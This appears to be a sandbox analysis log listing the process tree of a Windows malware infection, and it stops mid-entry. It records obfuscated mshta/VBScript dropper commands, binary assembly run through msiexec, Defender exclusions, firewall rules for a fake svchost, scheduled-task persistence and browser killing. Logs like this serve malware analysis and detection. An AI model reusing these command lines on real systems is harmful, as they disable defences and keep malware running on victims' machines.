- C:\Users\Admin\Pictures\Adobe Films\VS2eETu_D5mUoEHWal8hyQ3w.exe
  "C:\Users\Admin\Pictures\Adobe Films\VS2eETu_D5mUoEHWal8hyQ3w.exe"
  2⤵
  PID:6820
- - C:\Users\Admin\Documents\Bmfjr5Sy9sb9TbrppjGuzzQ2.exe
    "C:\Users\Admin\Documents\Bmfjr5Sy9sb9TbrppjGuzzQ2.exe"
    3⤵
    PID:7644
  - - C:\Users\Admin\Pictures\Adobe Films\GkQPPpuAaQgdh3VyzXxrMNBJ.exe
      "C:\Users\Admin\Pictures\Adobe Films\GkQPPpuAaQgdh3VyzXxrMNBJ.exe"
      4⤵
      PID:3712
  - - C:\Users\Admin\Pictures\Adobe Films\P8f04fCDoM0yvE2jDChc9S9H.exe
      "C:\Users\Admin\Pictures\Adobe Films\P8f04fCDoM0yvE2jDChc9S9H.exe"
      4⤵
      PID:5920
  - - C:\Users\Admin\Pictures\Adobe Films\SRjws1Gp9lBtKc4eDAga5uhl.exe
      "C:\Users\Admin\Pictures\Adobe Films\SRjws1Gp9lBtKc4eDAga5uhl.exe"
      4⤵
      PID:5364
  - - C:\Users\Admin\Pictures\Adobe Films\Z94pbVEKphYICgQd2sKaApaE.exe
      "C:\Users\Admin\Pictures\Adobe Films\Z94pbVEKphYICgQd2sKaApaE.exe"
      4⤵
      PID:5048
    - - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\Z94pbVEKphYICgQd2sKaApaE.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\Z94pbVEKphYICgQd2sKaApaE.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
        5⤵
        
        PID:4200
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\Z94pbVEKphYICgQd2sKaApaE.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\Z94pbVEKphYICgQd2sKaApaE.exe" ) do taskkill -f -iM "%~NxM"
        6⤵
        
        PID:5604
        
        C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe
        
        ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi
        7⤵
        
        PID:10208
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
        8⤵
        
        PID:10080
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"
        9⤵
        
        PID:6780
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )
        8⤵
        
        PID:6284
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC
        9⤵
        
        PID:9464
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EcHo "
        10⤵
        
        PID:9636
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"
        10⤵
        
        PID:9764
        
        C:\Windows\SysWOW64\msiexec.exe
        
        msiexec -Y ..\lXQ2g.WC
        10⤵
        
        PID:8556
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -f -iM "Z94pbVEKphYICgQd2sKaApaE.exe"
        7⤵
        Kills process with taskkill
        
        PID:9560
  - - C:\Users\Admin\Pictures\Adobe Films\98qaS5hvEJJUbvP3hnK7m8fX.exe
      "C:\Users\Admin\Pictures\Adobe Films\98qaS5hvEJJUbvP3hnK7m8fX.exe"
      4⤵
      PID:4432
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        5⤵
        
        PID:9668
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        6⤵
        Kills process with taskkill
        
        PID:5140
  - - C:\Users\Admin\Pictures\Adobe Films\jYSxJlfq65ZOnosYawMS9uqU.exe
      "C:\Users\Admin\Pictures\Adobe Films\jYSxJlfq65ZOnosYawMS9uqU.exe"
      4⤵
      PID:4996
  - - C:\Users\Admin\Pictures\Adobe Films\CTzryPRl68SVO9Z4omu5y7_L.exe
      "C:\Users\Admin\Pictures\Adobe Films\CTzryPRl68SVO9Z4omu5y7_L.exe"
      4⤵
      PID:6196
    - - C:\Users\Admin\AppData\Local\Temp\is-0IS66.tmp\CTzryPRl68SVO9Z4omu5y7_L.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-0IS66.tmp\CTzryPRl68SVO9Z4omu5y7_L.tmp" /SL5="$40470,506127,422400,C:\Users\Admin\Pictures\Adobe Films\CTzryPRl68SVO9Z4omu5y7_L.exe"
        5⤵
        
        PID:1832
      - C:\Users\Admin\AppData\Local\Temp\is-6E58D.tmp\DYbALA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-6E58D.tmp\DYbALA.exe" /S /UID=2709
        6⤵
        
        PID:10216
        
        C:\Users\Admin\AppData\Local\Temp\7b-a070c-a8a-a2ab2-57e669d64918d\Nishalaegoja.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7b-a070c-a8a-a2ab2-57e669d64918d\Nishalaegoja.exe"
        7⤵
        
        PID:7176
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lvcbhix3.mhi\GcleanerEU.exe /eufive & exit
        8⤵
        
        PID:2008
        
        C:\Users\Admin\AppData\Local\Temp\lvcbhix3.mhi\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\lvcbhix3.mhi\GcleanerEU.exe /eufive
        9⤵
        
        PID:7312
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bfrjehzt.zgh\installer.exe /qn CAMPAIGN="654" & exit
        8⤵
        
        PID:9760
        
        C:\Users\Admin\AppData\Local\Temp\bfrjehzt.zgh\installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\bfrjehzt.zgh\installer.exe /qn CAMPAIGN="654"
        9⤵
        
        PID:3064
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xng1nozu.sva\any.exe & exit
        8⤵
        
        PID:8712
        
        C:\Users\Admin\AppData\Local\Temp\xng1nozu.sva\any.exe
        
        C:\Users\Admin\AppData\Local\Temp\xng1nozu.sva\any.exe
        9⤵
        
        PID:6628
        
        C:\Users\Admin\AppData\Local\Temp\xng1nozu.sva\any.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xng1nozu.sva\any.exe" -u
        10⤵
        
        PID:6700
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\epenwb0m.k5y\gcleaner.exe /mixfive & exit
        8⤵
        
        PID:9056
        
        C:\Users\Admin\AppData\Local\Temp\epenwb0m.k5y\gcleaner.exe
        
        C:\Users\Admin\AppData\Local\Temp\epenwb0m.k5y\gcleaner.exe /mixfive
        9⤵
        
        PID:9660
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xiarmfrw.w54\autosubplayer.exe /S & exit
        8⤵
        
        PID:6648
  - - C:\Users\Admin\Pictures\Adobe Films\DtcSFGvUaDdxo5sxecST7JUg.exe
      "C:\Users\Admin\Pictures\Adobe Films\DtcSFGvUaDdxo5sxecST7JUg.exe"
      4⤵
      PID:6452
    - - C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
        5⤵
        
        PID:8724
      - C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"
        6⤵
        
        PID:4908
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x214,0x218,0x21c,0x1f0,0x220,0x7ffb510ddec0,0x7ffb510dded0,0x7ffb510ddee0
        7⤵
        
        PID:8016
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff727de9e70,0x7ff727de9e80,0x7ff727de9e90
        8⤵
        
        PID:8684
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1636,8255930285640402813,15624552247659991906,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw4908_1729324537" --mojo-platform-channel-handle=1664 /prefetch:8
        7⤵
        
        PID:9856
  - - C:\Users\Admin\Pictures\Adobe Films\LLiAg7UFFiFRTQLnxkiT80rC.exe
      "C:\Users\Admin\Pictures\Adobe Films\LLiAg7UFFiFRTQLnxkiT80rC.exe"
      4⤵
      PID:9312
    - - C:\Users\Admin\Pictures\Adobe Films\LLiAg7UFFiFRTQLnxkiT80rC.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\LLiAg7UFFiFRTQLnxkiT80rC.exe" -u
        5⤵
        
        PID:5800
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:8512
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:4372
- C:\Users\Admin\Pictures\Adobe Films\KGuJ2drwK1MLuQ3lZYVoWESt.exe
  "C:\Users\Admin\Pictures\Adobe Films\KGuJ2drwK1MLuQ3lZYVoWESt.exe"
  2⤵
  PID:6672
- C:\Users\Admin\Pictures\Adobe Films\pErdcw8Y0KkFN2tgD67QAOhC.exe
  "C:\Users\Admin\Pictures\Adobe Films\pErdcw8Y0KkFN2tgD67QAOhC.exe"
  2⤵
  PID:3644
- C:\Users\Admin\Pictures\Adobe Films\Gtgm_RwIBWjD0vv1yZKavSfV.exe
  "C:\Users\Admin\Pictures\Adobe Films\Gtgm_RwIBWjD0vv1yZKavSfV.exe"
  2⤵
  - Executes dropped EXE
  PID:1556
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
    3⤵
    PID:6468
- - C:\Windows\System32\netsh.exe
    "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
    3⤵
    PID:7200
- - C:\Windows\System32\netsh.exe
    "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
    3⤵
    PID:6580
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
    3⤵
    PID:3884
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM
    3⤵
    - Creates scheduled task(s)
    PID:7308
- - C:\Windows\System\svchost.exe
    "C:\Windows\System\svchost.exe" formal
    3⤵
    PID:7356
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
      4⤵
      PID:5760
  - - C:\Windows\System32\netsh.exe
      "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
      4⤵
      PID:6236
  - - C:\Windows\System32\netsh.exe
      "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
      4⤵
      PID:7404
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
      4⤵
      PID:2172
- C:\Users\Admin\Pictures\Adobe Films\DtVU4hu8h0YDl8gNNwFHvjS4.exe
  "C:\Users\Admin\Pictures\Adobe Films\DtVU4hu8h0YDl8gNNwFHvjS4.exe"
  2⤵
  PID:5400
- C:\Users\Admin\Pictures\Adobe Films\DJcWk8Z5yujIN0QRPZPGfac_.exe
  "C:\Users\Admin\Pictures\Adobe Films\DJcWk8Z5yujIN0QRPZPGfac_.exe"
  2⤵
  PID:6676
- C:\Users\Admin\Pictures\Adobe Films\hOZeeuV8_Wt_x5BoidRfGNUJ.exe
  "C:\Users\Admin\Pictures\Adobe Films\hOZeeuV8_Wt_x5BoidRfGNUJ.exe"
  2⤵
  PID:6772
- C:\Users\Admin\Pictures\Adobe Films\DJlfcRXIICu95xzAxeOgHX6g.exe
  "C:\Users\Admin\Pictures\Adobe Films\DJlfcRXIICu95xzAxeOgHX6g.exe"
  2⤵
  PID:4252
- C:\Users\Admin\Pictures\Adobe Films\pocUi7COTKnD7hGcm4JkfMbR.exe
  "C:\Users\Admin\Pictures\Adobe Films\pocUi7COTKnD7hGcm4JkfMbR.exe"
  2⤵
  PID:6724
- C:\Users\Admin\Pictures\Adobe Films\8OTJ9is4T8bH0LUGZsBk6rtu.exe
  "C:\Users\Admin\Pictures\Adobe Films\8OTJ9is4T8bH0LUGZsBk6rtu.exe"
  2⤵
  PID:1420
- - C:\Users\Admin\AppData\Roaming\Underdress.exe
    C:\Users\Admin\AppData\Roaming\Underdress.exe
    3⤵
    PID:3920
  - - C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe
      "C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"
      4⤵
      PID:6936
- - C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe
    C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe
    3⤵
    PID:1200
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
      4⤵
      PID:5464
- C:\Users\Admin\Pictures\Adobe Films\guzRrPGEbmWFKfl8DxVQN4jr.exe
  "C:\Users\Admin\Pictures\Adobe Films\guzRrPGEbmWFKfl8DxVQN4jr.exe"
  2⤵
  PID:6264
- - C:\Users\Admin\AppData\Local\Temp\60e84a8e-c5e8-4456-8721-ac99bbc196e4\AdvancedRun.exe
    "C:\Users\Admin\AppData\Local\Temp\60e84a8e-c5e8-4456-8721-ac99bbc196e4\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\60e84a8e-c5e8-4456-8721-ac99bbc196e4\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
    3⤵
    PID:7152
  - - C:\Users\Admin\AppData\Local\Temp\60e84a8e-c5e8-4456-8721-ac99bbc196e4\AdvancedRun.exe
      "C:\Users\Admin\AppData\Local\Temp\60e84a8e-c5e8-4456-8721-ac99bbc196e4\AdvancedRun.exe" /SpecialRun 4101d8 7152
      4⤵
      PID:7216
- - C:\Users\Admin\AppData\Local\Temp\978b439e-ff16-4c5c-ad4e-e334a9890d78\AdvancedRun.exe
    "C:\Users\Admin\AppData\Local\Temp\978b439e-ff16-4c5c-ad4e-e334a9890d78\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\978b439e-ff16-4c5c-ad4e-e334a9890d78\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
    3⤵
    PID:6656
  - - C:\Users\Admin\AppData\Local\Temp\978b439e-ff16-4c5c-ad4e-e334a9890d78\AdvancedRun.exe
      "C:\Users\Admin\AppData\Local\Temp\978b439e-ff16-4c5c-ad4e-e334a9890d78\AdvancedRun.exe" /SpecialRun 4101d8 6656
      4⤵
      PID:7224
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\guzRrPGEbmWFKfl8DxVQN4jr.exe" -Force
    3⤵
    PID:7788
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\guzRrPGEbmWFKfl8DxVQN4jr.exe" -Force
    3⤵
    PID:7780
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\guzRrPGEbmWFKfl8DxVQN4jr.exe" -Force
    3⤵
    PID:7992
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
    3⤵
    PID:8084
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
    3⤵
    PID:1924
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\guzRrPGEbmWFKfl8DxVQN4jr.exe" -Force
    3⤵
    PID:7492
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe"
    3⤵
    PID:2016
  - - C:\Users\Admin\AppData\Local\Temp\86a94033-8d08-4b44-9d53-65f017c066cf\AdvancedRun.exe
      "C:\Users\Admin\AppData\Local\Temp\86a94033-8d08-4b44-9d53-65f017c066cf\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\86a94033-8d08-4b44-9d53-65f017c066cf\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
      4⤵
      PID:6208
    - - C:\Users\Admin\AppData\Local\Temp\86a94033-8d08-4b44-9d53-65f017c066cf\AdvancedRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\86a94033-8d08-4b44-9d53-65f017c066cf\AdvancedRun.exe" /SpecialRun 4101d8 6208
        5⤵
        
        PID:8208
  - - C:\Users\Admin\AppData\Local\Temp\697179d4-eda7-461a-9788-65c686609e99\AdvancedRun.exe
      "C:\Users\Admin\AppData\Local\Temp\697179d4-eda7-461a-9788-65c686609e99\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\697179d4-eda7-461a-9788-65c686609e99\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1556
    - - C:\Users\Admin\AppData\Local\Temp\697179d4-eda7-461a-9788-65c686609e99\AdvancedRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\697179d4-eda7-461a-9788-65c686609e99\AdvancedRun.exe" /SpecialRun 4101d8 1556
        5⤵
        
        PID:8200
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
      4⤵
      PID:9184
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
      4⤵
      PID:5432
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
      4⤵
      PID:812
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force
      4⤵
      PID:4140
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
      4⤵
      PID:8796
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force
      4⤵
      PID:7376
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe"
      4⤵
      PID:5780
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe"
      4⤵
      PID:4344
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe"
      4⤵
      PID:4948
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe"
      4⤵
      PID:6352
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
      4⤵
      PID:8720
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force
    3⤵
    PID:7604
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\guzRrPGEbmWFKfl8DxVQN4jr.exe" -Force
    3⤵
    PID:8036
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force
    3⤵
    PID:6160
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
    3⤵
    PID:5636
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe"
    3⤵
    PID:6892
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
    3⤵
    PID:7204
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
    3⤵
    PID:3668
- C:\Users\Admin\Pictures\Adobe Films\9r1MHXGibmZHLHh8UvaGKxOP.exe
  "C:\Users\Admin\Pictures\Adobe Films\9r1MHXGibmZHLHh8UvaGKxOP.exe"
  2⤵
  PID:6172
- C:\Users\Admin\Pictures\Adobe Films\XEQhsnN2jfHuCiRnql4w3H7S.exe
  "C:\Users\Admin\Pictures\Adobe Films\XEQhsnN2jfHuCiRnql4w3H7S.exe"
  2⤵
  PID:4104
- - C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe
    "C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"
    3⤵
    PID:6680
  - - C:\Users\Admin\AppData\Local\6044713.exe
      "C:\Users\Admin\AppData\Local\6044713.exe"
      4⤵
      PID:3300
  - - C:\Users\Admin\AppData\Local\3637227.exe
      "C:\Users\Admin\AppData\Local\3637227.exe"
      4⤵
      PID:9200
  - - C:\Users\Admin\AppData\Local\8393696.exe
      "C:\Users\Admin\AppData\Local\8393696.exe"
      4⤵
      PID:6312
    - - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\8393696.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\8393696.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))
        5⤵
        
        PID:8924
      - C:\Windows\SysWOW64\cmd.exe
        
